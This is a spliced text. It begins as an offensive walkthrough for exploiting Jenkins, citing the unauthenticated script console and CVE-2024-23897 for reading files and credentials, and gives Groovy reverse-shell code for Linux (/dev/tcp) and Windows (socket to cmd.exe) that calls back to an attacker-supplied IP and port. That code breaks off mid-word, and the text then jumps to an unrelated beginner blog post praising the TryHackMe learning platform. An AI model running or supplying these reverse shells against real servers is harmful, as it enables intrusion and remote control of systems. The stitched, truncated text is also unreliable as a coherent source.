Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Are you interested in learning cybersecurity and having the big question "Where to start?". Well, few months ago, i also had the same question in my mind. Do i need to learn programming languages first, or web applications or networking ??? That's where i want to talk about the popular learning platform Tryhackme. TryHackMe is an online platform that helps people to learn cybersecurity, especially penetration testing by doing hands-on labs.
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When you completes a learning path, you will be awarded with a certificate of completion. Also you can acquire badges when you finish some specific rooms.
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